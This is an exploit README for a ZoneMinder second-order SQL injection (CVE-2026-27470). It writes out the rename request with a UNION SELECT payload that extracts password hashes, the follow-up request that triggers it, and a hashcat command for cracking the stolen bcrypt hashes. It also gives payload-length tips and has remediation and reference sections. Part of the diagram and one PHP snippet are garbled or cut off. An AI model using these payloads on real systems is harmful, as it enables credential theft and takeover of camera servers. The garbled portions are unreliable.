## https://sploitus.com/exploit?id=4FAC6E64-F88D-589F-B5EC-220EFF74F27B
# CVE-2026-27470 โ ZoneMinder Second-Order SQL Injection




Proof-of-concept exploit for a **second-order SQL injection** vulnerability in ZoneMinder. An authenticated user with `Events` edit and view permissions can extract arbitrary data from the database โ including all user credentials.
---
## Overview
| Field | Details |
|---|---|
| **CVE ID** | CVE-2026-27470 |
| **Severity** | HIGH โ CVSS 8.8 |
| **Vector** | `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` |
| **Affected** | ZoneMinder โค 1.36.37 and 1.37.61 โ 1.38.0 |
| **Fixed in** | 1.36.38 / 1.38.1 |
| **File** | `web/ajax/status.php` โ `getNearEvents()` |
| **CWE** | CWE-89: Improper Neutralization of SQL Commands |
| **Auth Required** | Yes โ `Events` edit + view permission |
---
## Vulnerability Details
### The Second-Order Pattern
This is a textbook second-order (stored) SQL injection. The attack happens in two separate phases, which is why traditional scanners often miss it.
**Phase 1 โ Safe Write**
The attacker renames an event with a malicious payload. ZoneMinder correctly uses a parameterized query here, so the payload is stored safely in the database without triggering any errors:
```http
POST /index.php HTTP/1.1
request=event&action=rename&id=1&eventName=' UNION SELECT Password,NULL FROM Users LIMIT 0,1-- -
```
```php
// web/ajax/event.php โ safe โ
dbQuery('UPDATE Events SET Name = ? WHERE Id = ?', [$_REQUEST['eventName'], $id]);
```
At this point everything looks clean. The payload is sitting quietly in the `Events.Name` column.
**Phase 2 โ Vulnerable Read**
The attacker triggers `getNearEvents()` by requesting the near events for the same event record. The function reads the stored `Name` value back from the database and **concatenates it directly into a new SQL query** without any escaping:
```http
GET /index.php?request=status&entity=nearevents&id=1&sort_field=Name&sort_asc=1 HTTP/1.1
```
```php
// web/ajax/status.php ~line 460 โ VULNERABLE โ
$event = dbFetchOne('SELECT * FROM Events WHERE Id=?', NULL, [$id]);
$sql = 'SELECT E.Id, E.StartDateTime FROM Events E
INNER JOIN Monitors M ON E.MonitorId = M.Id
WHERE E.Name >= \'' . $event[$_REQUEST['sort_field']] . '\' // โ injection point
AND (' . $filter->sql() . ') AND E.Id โโโโโโโบ โ โ
โ โ UPDATE Events SET Name=? โโโบโ
โ โ (parameterized โ safe) โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ โ โ
โ GET /index.php โ โ
โ entity=nearevents โโโโโโโบ โ โ
โ sort_field=Name โ SELECT * FROM Events WHERE โ
โ โ Id=? โโโบโ
โ โโโโ Name = '' โโโโโโโโ
โ โ โ
โ โ builds SQL string: โ
โ โ WHERE Name >= '' โ
โ โ (no escaping!) โ
โ โ UNION SELECT executes โโโโโบ โ
โ โโโโ credentials โโโโโโโโโโโโโโโ
โโโโ JSON with leaked data โโโโโโ โ
```
---
## Impact
- **Confidentiality:** Full database read โ all user hashes, API keys, monitor configurations, system settings
- **Integrity:** Depending on database driver configuration, stacked queries may allow data modification
- **Privilege Escalation:** Crack the admin bcrypt hash offline and gain full ZoneMinder access
```bash
# Crack harvested hashes with hashcat
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
```
---
## Notes
- `Events.Name` is `varchar(64)` in the database โ keep injection payloads under 63 characters
- The injection result appears in `nearevents.NextEventId` in the JSON response
- ZoneMinder uses bcrypt for password hashing (mode 3200 for hashcat)
- CSRF protection is handled automatically by the PoC
---
## Remediation
Update ZoneMinder to **1.36.38** or **1.38.1**.
The fix is to use a parameterized query placeholder for the stored value instead of string concatenation:
```php
// Before (vulnerable)
$sql = "... WHERE E.Name >= '" . $event[$sort_field] . "'";
// After (fixed)
$sql = "... WHERE E.Name >= ?";
$result = dbQuery($sql, [$event[$sort_field]]);
```
---
## References
- [GitHub Security Advisory GHSA-r6gm-478g-f2c4](https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-r6gm-478g-f2c4)
- [ZoneMinder 1.36.38 Release](https://github.com/ZoneMinder/zoneminder/releases/tag/1.36.38)
- [ZoneMinder 1.38.1 Release](https://github.com/ZoneMinder/zoneminder/releases/tag/1.38.1)
---
## Disclaimer
This tool is for **educational and authorized security research purposes only**.
Do not use against systems you do not own or have explicit written permission to test.